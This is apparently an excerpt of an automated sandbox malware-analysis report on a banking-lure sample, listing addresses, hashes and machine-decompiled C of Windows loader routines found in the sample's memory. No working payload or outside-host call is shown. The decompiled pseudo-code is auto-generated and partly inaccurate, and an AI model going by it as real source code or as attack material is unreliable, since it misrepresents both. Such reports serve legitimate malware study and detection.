                                                                        0x012afc9f
                                                                        0x012afca3
                                                                        0x00000000
                                                                        0x012afca3
                                                                        0x00000000
                                                                        0x012afbe4
                                                                        0x012afbe4
                                                                        0x012afbe4
                                                                        0x012afbe4
                                                                        0x012afbe9
                                                                        0x012afbf2
                                                                        0x00000000
                                                                        0x012afbf2
                                                                        0x012afbde
                                                                        0x012afbcb
                                                                        0x012afbab
                                                                        0x012afc8b
                                                                        0x012afc8b
                                                                        0x012afc8c
                                                                        0x012afb80
                                                                        0x012afb72
                                                                        0x012afb5e
                                                                        0x012afc8d
                                                                        0x012afc91
                                                                        0x012afadf
                                                                        0x012afadf
                                                                        0x012afae1
                                                                        0x012afae4
                                                                        0x012afae7
                                                                        0x012afaec
                                                                        0x012afaf8
                                                                        0x012afb00
                                                                        0x012afb07
                                                                        0x012afb0f
                                                                        0x012afb0f
                                                                        0x012afb07
                                                                        0x00000000
                                                                        0x012afaf8
                                                                        0x012afadd

                                                                        Strings
                                                                        • X2, xrefs: 012AFAF1
                                                                        • *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!, xrefs: 012EBE0F
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!$X2
                                                                        • API String ID: 0-3940770057
                                                                        • Opcode ID: 70e8ca4a8896f7513d3e389712846247b42d88738d7e1069c64a3819390ed859
                                                                        • Instruction ID: 533f9aec89b280e545d429d627dab85fdae4f7bb31e1d389f235639c13fd70a8
                                                                        • Opcode Fuzzy Hash: 70e8ca4a8896f7513d3e389712846247b42d88738d7e1069c64a3819390ed859
                                                                        • Instruction Fuzzy Hash: 01A13631B20607CBEB26DF69C5547BEB7F5AF48714F844569EA02CB691EB38D841CB80
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0133E539 Relevance: 2.8, Strings: 2, Instructions: 261COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 60%
                                                                        			E0133E539(unsigned int* __ecx, intOrPtr __edx, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v40;
				char _v44;
				intOrPtr _v48;
				signed int _v52;
				unsigned int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				signed int _v72;
				void* __ebx;
				void* __edi;
				char _t87;
				signed int _t90;
				signed int _t94;
				signed int _t100;
				intOrPtr* _t113;
				signed int _t122;
				void* _t132;
				void* _t135;
				signed int _t139;
				signed int* _t141;
				signed int _t146;
				signed int _t147;
				void* _t153;
				signed int _t155;
				signed int _t159;
				char _t166;
				void* _t172;
				void* _t176;
				signed int _t177;
				intOrPtr* _t179;

				_t179 = __ecx;
				_v48 = __edx;
				_v68 = 0;
				_v72 = 0;
				_push(__ecx[1]);
				_push( *__ecx);
				_push(0);
				_t153 = 0x14;
				_t135 = _t153;
				_t132 = E0133BBBB(_t135, _t153);
				if(_t132 == 0) {
					_t166 = _v68;
					goto L43;
				} else {
					_t155 = 0;
					_v52 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v56 = __ecx[1];
					if( *__ecx >> 8 < 2) {
						_t155 = 1;
						_v52 = 1;
					}
					_t139 = _a4;
					_t87 = (_t155 << 0xc) + _t139;
					_v60 = _t87;
					if(_t87 < _t139) {
						L11:
						_t166 = _v68;
						L12:
						if(_t132 != 0) {
							E0133BCD2(_t132,  *_t179,  *((intOrPtr*)(_t179 + 4)));
						}
						L43:
						if(_v72 != 0) {
							_push( *((intOrPtr*)(_t179 + 4)));
							_push( *_t179);
							_push(0x8000);
							E0133AFDE( &_v72,  &_v60);
						}
						L46:
						return _t166;
					}
					_t90 =  *(_t179 + 0xc) & 0x40000000;
					asm("sbb edi, edi");
					_t172 = ( ~_t90 & 0x0000003c) + 4;
					if(_t90 != 0) {
						_push(0);
						_push(0x14);
						_push( &_v44);
						_push(3);
						_push(_t179);
						_push(0xffffffff);
						if(E012B9730() < 0 || (_v40 & 0x00000060) == 0 || _v44 != _t179) {
							_push(_t139);
							E0133A80D(_t179, 1, _v40, 0);
							_t172 = 4;
						}
					}
					_t141 =  &_v72;
					if(E0133A854(_t141,  &_v60, 0, 0x2000, _t172, _t179,  *_t179,  *((intOrPtr*)(_t179 + 4))) >= 0) {
						_v64 = _a4;
						_t94 =  *(_t179 + 0xc) & 0x40000000;
						asm("sbb edi, edi");
						_t176 = ( ~_t94 & 0x0000003c) + 4;
						if(_t94 != 0) {
							_push(0);
							_push(0x14);
							_push( &_v24);
							_push(3);
							_push(_t179);
							_push(0xffffffff);
							if(E012B9730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t179) {
								_push(_t141);
								E0133A80D(_t179, 1, _v20, 0);
								_t176 = 4;
							}
						}
						if(E0133A854( &_v72,  &_v64, 0, 0x1000, _t176, 0,  *_t179,  *((intOrPtr*)(_t179 + 4))) < 0) {
							goto L11;
						} else {
							_t177 = _v64;
							 *((intOrPtr*)(_t132 + 0xc)) = _v72;
							_t100 = _v52 + _v52;
							_t146 =  *(_t132 + 0x10) & 0x00000ffd | _t177 & 0xfffff000 | _t100;
							 *(_t132 + 0x10) = _t146;
							asm("bsf eax, [esp+0x18]");
							_v52 = _t100;
							 *(_t132 + 0x10) = (_t100 << 0x00000002 ^ _t146) & 0x000000fc ^ _t146;
							 *((short*)(_t132 + 0xc)) = _t177 - _v48;
							_t47 =  &_a8;
							 *_t47 = _a8 & 0x00000001;
							if( *_t47 == 0) {
								E01292280(_t179 + 0x30, _t179 + 0x30);
							}
							_t147 =  *(_t179 + 0x34);
							_t159 =  *(_t179 + 0x38) & 1;
							_v68 = 0;
							if(_t147 == 0) {
								L35:
								E0128B090(_t179 + 0x34, _t147, _v68, _t132);
								if(_a8 == 0) {
									E0128FFB0(_t132, _t177, _t179 + 0x30);
								}
								asm("lock xadd [eax], ecx");
								asm("lock xadd [eax], edx");
								_t132 = 0;
								_v72 = _v72 & 0;
								_v68 = _v72;
								if(E01297D50() == 0) {
									_t113 = 0x7ffe0388;
								} else {
									_t177 = _v64;
									_t113 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
								}
								if( *_t113 == _t132) {
									_t166 = _v68;
									goto L46;
								} else {
									_t166 = _v68;
									E0132FEC0(_t132, _t179, _t166, _t177 + 0x1000);
									goto L12;
								}
							} else {
								L23:
								while(1) {
									if(_v72 < ( *(_t147 + 0xc) & 0xffff0000)) {
										_t122 =  *_t147;
										if(_t159 == 0) {
											L32:
											if(_t122 == 0) {
												L34:
												_v68 = 0;
												goto L35;
											}
											L33:
											_t147 = _t122;
											continue;
										}
										if(_t122 == 0) {
											goto L34;
										}
										_t122 = _t122 ^ _t147;
										goto L32;
									}
									_t122 =  *(_t147 + 4);
									if(_t159 == 0) {
										L27:
										if(_t122 != 0) {
											goto L33;
										}
										L28:
										_v68 = 1;
										goto L35;
									}
									if(_t122 == 0) {
										goto L28;
									}
									_t122 = _t122 ^ _t147;
									goto L27;
								}
							}
						}
					}
					_v72 = _v72 & 0x00000000;
					goto L11;
				}
			}




































                                                                        0x0133e547
                                                                        0x0133e549
                                                                        0x0133e54f
                                                                        0x0133e553
                                                                        0x0133e557
                                                                        0x0133e55a
                                                                        0x0133e55c
                                                                        0x0133e55f
                                                                        0x0133e561
                                                                        0x0133e567
                                                                        0x0133e56b
                                                                        0x0133e7e2
                                                                        0x00000000
                                                                        0x0133e571
                                                                        0x0133e575
                                                                        0x0133e577
                                                                        0x0133e57b
                                                                        0x0133e57c
                                                                        0x0133e57d
                                                                        0x0133e57e
                                                                        0x0133e57f
                                                                        0x0133e588
                                                                        0x0133e58f
                                                                        0x0133e591
                                                                        0x0133e592
                                                                        0x0133e592
                                                                        0x0133e596
                                                                        0x0133e59e
                                                                        0x0133e5a0
                                                                        0x0133e5a6
                                                                        0x0133e61d
                                                                        0x0133e61d
                                                                        0x0133e621
                                                                        0x0133e623
                                                                        0x0133e630
                                                                        0x0133e630
                                                                        0x0133e7e6
                                                                        0x0133e7eb
                                                                        0x0133e7ed
                                                                        0x0133e7f4
                                                                        0x0133e7fa
                                                                        0x0133e7ff
                                                                        0x0133e7ff
                                                                        0x0133e80a
                                                                        0x0133e812
                                                                        0x0133e812
                                                                        0x0133e5ab
                                                                        0x0133e5b4
                                                                        0x0133e5b9
                                                                        0x0133e5be
                                                                        0x0133e5c0
                                                                        0x0133e5c2
                                                                        0x0133e5c8
                                                                        0x0133e5c9
                                                                        0x0133e5cb
                                                                        0x0133e5cc
                                                                        0x0133e5d5
                                                                        0x0133e5e4
                                                                        0x0133e5f1
                                                                        0x0133e5f8
                                                                        0x0133e5f8
                                                                        0x0133e5d5
                                                                        0x0133e602
                                                                        0x0133e616
                                                                        0x0133e63d
                                                                        0x0133e644
                                                                        0x0133e64d
                                                                        0x0133e652
                                                                        0x0133e657
                                                                        0x0133e659
                                                                        0x0133e65b
                                                                        0x0133e661
                                                                        0x0133e662
                                                                        0x0133e664
                                                                        0x0133e665
                                                                        0x0133e66e
                                                                        0x0133e67d
                                                                        0x0133e68a
                                                                        0x0133e691
                                                                        0x0133e691
                                                                        0x0133e66e
                                                                        0x0133e6b0
                                                                        0x00000000
                                                                        0x0133e6b6
                                                                        0x0133e6bd
                                                                        0x0133e6c7
                                                                        0x0133e6d7
                                                                        0x0133e6d9
                                                                        0x0133e6db
                                                                        0x0133e6de
                                                                        0x0133e6e3
                                                                        0x0133e6f3
                                                                        0x0133e6fc
                                                                        0x0133e700
                                                                        0x0133e700
                                                                        0x0133e704
                                                                        0x0133e70a
                                                                        0x0133e70a
                                                                        0x0133e713
                                                                        0x0133e716
                                                                        0x0133e719
                                                                        0x0133e720
                                                                        0x0133e761
                                                                        0x0133e76b
                                                                        0x0133e774
                                                                        0x0133e77a
                                                                        0x0133e77a
                                                                        0x0133e78a
                                                                        0x0133e791
                                                                        0x0133e799
                                                                        0x0133e79b
                                                                        0x0133e79f
                                                                        0x0133e7aa
                                                                        0x0133e7c0
                                                                        0x0133e7ac
                                                                        0x0133e7b2
                                                                        0x0133e7b9
                                                                        0x0133e7b9
                                                                        0x0133e7c7
                                                                        0x0133e806
                                                                        0x00000000
                                                                        0x0133e7c9
                                                                        0x0133e7d1
                                                                        0x0133e7d8
                                                                        0x00000000
                                                                        0x0133e7d8
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0133e722
                                                                        0x0133e72e
                                                                        0x0133e748
                                                                        0x0133e74c
                                                                        0x0133e754
                                                                        0x0133e756
                                                                        0x0133e75c
                                                                        0x0133e75c
                                                                        0x00000000
                                                                        0x0133e75c
                                                                        0x0133e758
                                                                        0x0133e758
                                                                        0x00000000
                                                                        0x0133e758
                                                                        0x0133e750
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0133e752
                                                                        0x00000000
                                                                        0x0133e752
                                                                        0x0133e730
                                                                        0x0133e735
                                                                        0x0133e73d
                                                                        0x0133e73f
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0133e741
                                                                        0x0133e741
                                                                        0x00000000
                                                                        0x0133e741
                                                                        0x0133e739
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0133e73b
                                                                        0x00000000
                                                                        0x0133e73b
                                                                        0x0133e722
                                                                        0x0133e720
                                                                        0x0133e6b0
                                                                        0x0133e618
                                                                        0x00000000
                                                                        0x0133e618

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: `$`
                                                                        • API String ID: 0-197956300
                                                                        • Opcode ID: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
                                                                        • Instruction ID: 70660f1fac7f1dbe3eaf8f98182252ef41341c909775b292691cb3d5ee7ebdfe
                                                                        • Opcode Fuzzy Hash: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
                                                                        • Instruction Fuzzy Hash: DF91AF316043429FE725CE29C840B6BBBE5AFC4728F14893DF6A5CB290E774E804CB56
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012F51BE Relevance: 2.7, Strings: 2, Instructions: 173COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 77%
                                                                        			E012F51BE(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed short* _t63;
				signed int _t64;
				signed int _t65;
				signed int _t67;
				intOrPtr _t74;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t94;
				void* _t100;
				void* _t103;
				intOrPtr _t105;
				signed int _t106;
				short* _t108;
				signed int _t110;
				signed int _t113;
				signed int* _t115;
				signed short* _t117;
				void* _t118;
				void* _t119;

				_push(0x80);
				_push(0x13505f0);
				E012CD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t118 - 0x80)) = __edx;
				_t115 =  *(_t118 + 0xc);
				 *(_t118 - 0x7c) = _t115;
				 *((char*)(_t118 - 0x65)) = 0;
				 *((intOrPtr*)(_t118 - 0x64)) = 0;
				_t113 = 0;
				 *((intOrPtr*)(_t118 - 0x6c)) = 0;
				 *((intOrPtr*)(_t118 - 4)) = 0;
				_t100 = __ecx;
				if(_t100 == 0) {
					 *(_t118 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
					E0128EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *((char*)(_t118 - 0x65)) = 1;
					_t63 =  *(_t118 - 0x90);
					_t101 = _t63[2];
					_t64 =  *_t63 & 0x0000ffff;
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					L20:
					_t65 = _t64 >> 1;
					L21:
					_t108 =  *((intOrPtr*)(_t118 - 0x80));
					if(_t108 == 0) {
						L27:
						 *_t115 = _t65 + 1;
						_t67 = 0xc0000023;
						L28:
						 *((intOrPtr*)(_t118 - 0x64)) = _t67;
						L29:
						 *((intOrPtr*)(_t118 - 4)) = 0xfffffffe;
						E012F53CA(0);
						return E012CD130(0, _t113, _t115);
					}
					if(_t65 >=  *((intOrPtr*)(_t118 + 8))) {
						if(_t108 != 0 &&  *((intOrPtr*)(_t118 + 8)) >= 1) {
							 *_t108 = 0;
						}
						goto L27;
					}
					 *_t115 = _t65;
					_t115 = _t65 + _t65;
					E012BF3E0(_t108, _t101, _t115);
					 *((short*)(_t115 +  *((intOrPtr*)(_t118 - 0x80)))) = 0;
					_t67 = 0;
					goto L28;
				}
				_t103 = _t100 - 1;
				if(_t103 == 0) {
					_t117 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
					_t74 = E01293690(1, _t117, 0x1251810, _t118 - 0x74);
					 *((intOrPtr*)(_t118 - 0x64)) = _t74;
					_t101 = _t117[2];
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					if(_t74 < 0) {
						_t64 =  *_t117 & 0x0000ffff;
						_t115 =  *(_t118 - 0x7c);
						goto L20;
					}
					_t65 = (( *(_t118 - 0x74) & 0x0000ffff) >> 1) + 1;
					_t115 =  *(_t118 - 0x7c);
					goto L21;
				}
				if(_t103 == 1) {
					_t105 = 4;
					 *((intOrPtr*)(_t118 - 0x78)) = _t105;
					 *((intOrPtr*)(_t118 - 0x70)) = 0;
					_push(_t118 - 0x70);
					_push(0);
					_push(0);
					_push(_t105);
					_push(_t118 - 0x78);
					_push(0x6b);
					 *((intOrPtr*)(_t118 - 0x64)) = E012BAA90();
					 *((intOrPtr*)(_t118 - 0x64)) = 0;
					_t113 = L01294620(_t105,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8,  *((intOrPtr*)(_t118 - 0x70)));
					 *((intOrPtr*)(_t118 - 0x6c)) = _t113;
					if(_t113 != 0) {
						_push(_t118 - 0x70);
						_push( *((intOrPtr*)(_t118 - 0x70)));
						_push(_t113);
						_push(4);
						_push(_t118 - 0x78);
						_push(0x6b);
						_t84 = E012BAA90();
						 *((intOrPtr*)(_t118 - 0x64)) = _t84;
						if(_t84 < 0) {
							goto L29;
						}
						_t110 = 0;
						_t106 = 0;
						while(1) {
							 *((intOrPtr*)(_t118 - 0x84)) = _t110;
							 *(_t118 - 0x88) = _t106;
							if(_t106 >= ( *(_t113 + 0xa) & 0x0000ffff)) {
								break;
							}
							_t110 = _t110 + ( *(_t106 * 0x2c + _t113 + 0x21) & 0x000000ff);
							_t106 = _t106 + 1;
						}
						_t88 = E012F500E(_t106, _t118 - 0x3c, 0x20, _t118 - 0x8c, 0, 0, L"%u", _t110);
						_t119 = _t119 + 0x1c;
						 *((intOrPtr*)(_t118 - 0x64)) = _t88;
						if(_t88 < 0) {
							goto L29;
						}
						_t101 = _t118 - 0x3c;
						_t65 =  *((intOrPtr*)(_t118 - 0x8c)) - _t118 - 0x3c >> 1;
						goto L21;
					}
					_t67 = 0xc0000017;
					goto L28;
				}
				_push(0);
				_push(0x20);
				_push(_t118 - 0x60);
				_push(0x5a);
				_t94 = E012B9860();
				 *((intOrPtr*)(_t118 - 0x64)) = _t94;
				if(_t94 < 0) {
					goto L29;
				}
				if( *((intOrPtr*)(_t118 - 0x50)) == 1) {
					_t101 = L"Legacy";
					_push(6);
				} else {
					_t101 = L"UEFI";
					_push(4);
				}
				_pop(_t65);
				goto L21;
			}






















                                                                        0x012f51be
                                                                        0x012f51c3
                                                                        0x012f51c8
                                                                        0x012f51cd
                                                                        0x012f51d0
                                                                        0x012f51d3
                                                                        0x012f51d8
                                                                        0x012f51db
                                                                        0x012f51de
                                                                        0x012f51e0
                                                                        0x012f51e3
                                                                        0x012f51e6
                                                                        0x012f51e8
                                                                        0x012f5342
                                                                        0x012f5351
                                                                        0x012f5356
                                                                        0x012f535a
                                                                        0x012f5360
                                                                        0x012f5363
                                                                        0x012f5366
                                                                        0x012f5369
                                                                        0x012f5369
                                                                        0x012f536b
                                                                        0x012f536b
                                                                        0x012f5370
                                                                        0x012f53a3
                                                                        0x012f53a4
                                                                        0x012f53a6
                                                                        0x012f53ab
                                                                        0x012f53ab
                                                                        0x012f53ae
                                                                        0x012f53ae
                                                                        0x012f53b5
                                                                        0x012f53bf
                                                                        0x012f53bf
                                                                        0x012f5375
                                                                        0x012f5396
                                                                        0x012f53a0
                                                                        0x012f53a0
                                                                        0x00000000
                                                                        0x012f5396
                                                                        0x012f5377
                                                                        0x012f5379
                                                                        0x012f537f
                                                                        0x012f538c
                                                                        0x012f5390
                                                                        0x00000000
                                                                        0x012f5390
                                                                        0x012f51ee
                                                                        0x012f51f1
                                                                        0x012f5301
                                                                        0x012f5310
                                                                        0x012f5315
                                                                        0x012f5318
                                                                        0x012f531b
                                                                        0x012f5320
                                                                        0x012f532e
                                                                        0x012f5331
                                                                        0x00000000
                                                                        0x012f5331
                                                                        0x012f5328
                                                                        0x012f5329
                                                                        0x00000000
                                                                        0x012f5329
                                                                        0x012f51fa
                                                                        0x012f5235
                                                                        0x012f5236
                                                                        0x012f5239
                                                                        0x012f523f
                                                                        0x012f5240
                                                                        0x012f5241
                                                                        0x012f5242
                                                                        0x012f5246
                                                                        0x012f5247
                                                                        0x012f524e
                                                                        0x012f5251
                                                                        0x012f5267
                                                                        0x012f5269
                                                                        0x012f526e
                                                                        0x012f527d
                                                                        0x012f527e
                                                                        0x012f5281
                                                                        0x012f5282
                                                                        0x012f5287
                                                                        0x012f5288
                                                                        0x012f528a
                                                                        0x012f528f
                                                                        0x012f5294
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012f529a
                                                                        0x012f529c
                                                                        0x012f529e
                                                                        0x012f529e
                                                                        0x012f52a4
                                                                        0x012f52b0
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012f52ba
                                                                        0x012f52bc
                                                                        0x012f52bc
                                                                        0x012f52d4
                                                                        0x012f52d9
                                                                        0x012f52dc
                                                                        0x012f52e1
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012f52e7
                                                                        0x012f52f4
                                                                        0x00000000
                                                                        0x012f52f4
                                                                        0x012f5270
                                                                        0x00000000
                                                                        0x012f5270
                                                                        0x012f51fc
                                                                        0x012f51fd
                                                                        0x012f5202
                                                                        0x012f5203
                                                                        0x012f5205
                                                                        0x012f520a
                                                                        0x012f520f
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012f521b
                                                                        0x012f5226
                                                                        0x012f522b
                                                                        0x012f521d
                                                                        0x012f521d
                                                                        0x012f5222
                                                                        0x012f5222
                                                                        0x012f522d
                                                                        0x00000000

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID: Legacy$UEFI
                                                                        • API String ID: 2994545307-634100481
                                                                        • Opcode ID: c7de54e13d694ad7cbace5f500fb41a80547f5c118e8621b4999aad169fdd8d9
                                                                        • Instruction ID: dbf877e5e82091b553397c5bc10ae2bc36fe24af5ec76313e40b7c980f357ae6
                                                                        • Opcode Fuzzy Hash: c7de54e13d694ad7cbace5f500fb41a80547f5c118e8621b4999aad169fdd8d9
                                                                        • Instruction Fuzzy Hash: 92515BB5A206099FDB25DFA8C990AAEFBF8FF48700F14412DEB49EB251D6719940CB50
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0128D5E0 Relevance: 1.9, APIs: 1, Instructions: 353timeCOMMONCrypto
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 87%
                                                                        			E0128D5E0(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				signed int _v48;
				signed char _v52;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v132;
				char _v140;
				char _v144;
				char _v157;
				signed int _v164;
				signed int _v168;
				signed int _v169;
				intOrPtr _v176;
				signed int _v180;
				signed int _v184;
				intOrPtr _v188;
				signed int _v192;
				signed int _v200;
				signed int _v208;
				intOrPtr* _v212;
				char _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t204;
				signed int _t206;
				void* _t208;
				signed int _t211;
				signed int _t216;
				intOrPtr _t217;
				intOrPtr* _t218;
				signed int _t226;
				signed int _t239;
				signed int* _t247;
				signed int _t249;
				void* _t252;
				signed int _t256;
				signed int _t269;
				signed int _t271;
				signed int _t277;
				signed int _t279;
				intOrPtr _t283;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed char _t290;
				signed int _t292;
				signed int* _t293;
				unsigned int _t297;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				intOrPtr _t311;
				intOrPtr _t312;
				signed int _t319;
				signed int _t320;
				signed int* _t324;
				signed int _t337;
				signed int _t338;
				signed int _t339;
				signed int* _t340;
				void* _t341;
				signed int _t344;
				signed int _t348;
				signed int _t349;
				signed int _t351;
				intOrPtr _t353;
				void* _t354;
				signed int _t356;
				signed int _t358;
				intOrPtr _t359;
				signed int _t361;
				signed int _t363;
				signed short* _t365;
				void* _t367;
				intOrPtr _t369;
				void* _t370;
				signed int _t371;
				signed int _t372;
				void* _t374;
				signed int _t376;
				void* _t384;
				signed int _t387;

				_v8 =  *0x136d360 ^ _t376;
				_t2 =  &_a20;
				 *_t2 = _a20 & 0x00000001;
				_t287 = _a4;
				_v200 = _a12;
				_t365 = _a8;
				_v212 = _a16;
				_v180 = _a24;
				_v168 = 0;
				_v157 = 0;
				if( *_t2 != 0) {
					__eflags = E01286600(0x13652d8);
					if(__eflags == 0) {
						goto L1;
					} else {
						_v188 = 6;
					}
				} else {
					L1:
					_v188 = 9;
				}
				if(_t365 == 0) {
					_v164 = 0;
					goto L5;
				} else {
					_t363 =  *_t365 & 0x0000ffff;
					_t341 = _t363 + 1;
					if((_t365[1] & 0x0000ffff) < _t341) {
						L109:
						__eflags = _t341 - 0x80;
						if(_t341 <= 0x80) {
							_t281 =  &_v140;
							_v164 =  &_v140;
							goto L114;
						} else {
							_t283 =  *0x1367b9c; // 0x0
							_t281 = L01294620(_t341,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t283 + 0x180000, _t341);
							_v164 = _t281;
							__eflags = _t281;
							if(_t281 != 0) {
								_v157 = 1;
								L114:
								E012BF3E0(_t281, _t365[2], _t363);
								_t200 = _v164;
								 *((char*)(_v164 + _t363)) = 0;
								goto L5;
							} else {
								_t204 = 0xc000009a;
								goto L47;
							}
						}
					} else {
						_t200 = _t365[2];
						_v164 = _t200;
						if( *((char*)(_t200 + _t363)) != 0) {
							goto L109;
						} else {
							while(1) {
								L5:
								_t353 = 0;
								_t342 = 0x1000;
								_v176 = 0;
								if(_t287 == 0) {
									break;
								}
								_t384 = _t287 -  *0x1367b90; // 0x77d00000
								if(_t384 == 0) {
									_t353 =  *0x1367b8c; // 0xe12b10
									_v176 = _t353;
									_t320 = ( *(_t353 + 0x50))[8];
									_v184 = _t320;
								} else {
									E01292280(_t200, 0x13684d8);
									_t277 =  *0x13685f4; // 0xe13000
									_t351 =  *0x13685f8 & 1;
									while(_t277 != 0) {
										_t337 =  *(_t277 - 0x50);
										if(_t337 > _t287) {
											_t338 = _t337 | 0xffffffff;
										} else {
											asm("sbb ecx, ecx");
											_t338 =  ~_t337;
										}
										_t387 = _t338;
										if(_t387 < 0) {
											_t339 =  *_t277;
											__eflags = _t351;
											if(_t351 != 0) {
												__eflags = _t339;
												if(_t339 == 0) {
													goto L16;
												} else {
													goto L118;
												}
												goto L151;
											} else {
												goto L16;
											}
											goto L17;
										} else {
											if(_t387 <= 0) {
												__eflags = _t277;
												if(_t277 != 0) {
													_t340 =  *(_t277 - 0x18);
													_t24 = _t277 - 0x68; // 0xe12f98
													_t353 = _t24;
													_v176 = _t353;
													__eflags = _t340[3] - 0xffffffff;
													if(_t340[3] != 0xffffffff) {
														_t279 =  *_t340;
														__eflags =  *(_t279 - 0x20) & 0x00000020;
														if(( *(_t279 - 0x20) & 0x00000020) == 0) {
															asm("lock inc dword [edi+0x9c]");
															_t340 =  *(_t353 + 0x50);
														}
													}
													_v184 = _t340[8];
												}
											} else {
												_t339 =  *(_t277 + 4);
												if(_t351 != 0) {
													__eflags = _t339;
													if(_t339 == 0) {
														goto L16;
													} else {
														L118:
														_t277 = _t277 ^ _t339;
														goto L17;
													}
													goto L151;
												} else {
													L16:
													_t277 = _t339;
												}
												goto L17;
											}
										}
										goto L25;
										L17:
									}
									L25:
									E0128FFB0(_t287, _t353, 0x13684d8);
									_t320 = _v184;
									_t342 = 0x1000;
								}
								if(_t353 == 0) {
									break;
								} else {
									_t366 = 0;
									if(( *( *[fs:0x18] + 0xfca) & _t342) != 0 || _t320 >= _v188) {
										_t288 = _v164;
										if(_t353 != 0) {
											_t342 = _t288;
											_t374 = E012CCC99(_t353, _t288, _v200, 1,  &_v168);
											if(_t374 >= 0) {
												if(_v184 == 7) {
													__eflags = _a20;
													if(__eflags == 0) {
														__eflags =  *( *[fs:0x18] + 0xfca) & 0x00001000;
														if(__eflags != 0) {
															_t271 = E01286600(0x13652d8);
															__eflags = _t271;
															if(__eflags == 0) {
																_t342 = 0;
																_v169 = _t271;
																_t374 = E01287926( *(_t353 + 0x50), 0,  &_v169);
															}
														}
													}
												}
												if(_t374 < 0) {
													_v168 = 0;
												} else {
													if( *0x136b239 != 0) {
														_t342 =  *(_t353 + 0x18);
														E012FE974(_v180,  *(_t353 + 0x18), __eflags, _v168, 0,  &_v168);
													}
													if( *0x1368472 != 0) {
														_v192 = 0;
														_t342 =  *0x7ffe0330;
														_t361 =  *0x136b218; // 0x0
														asm("ror edi, cl");
														 *0x136b1e0( &_v192, _t353, _v168, 0, _v180);
														 *(_t361 ^  *0x7ffe0330)();
														_t269 = _v192;
														_t353 = _v176;
														__eflags = _t269;
														if(__eflags != 0) {
															_v168 = _t269;
														}
													}
												}
											}
											if(_t374 == 0xc0000135 || _t374 == 0xc0000142) {
												_t366 = 0xc000007a;
											}
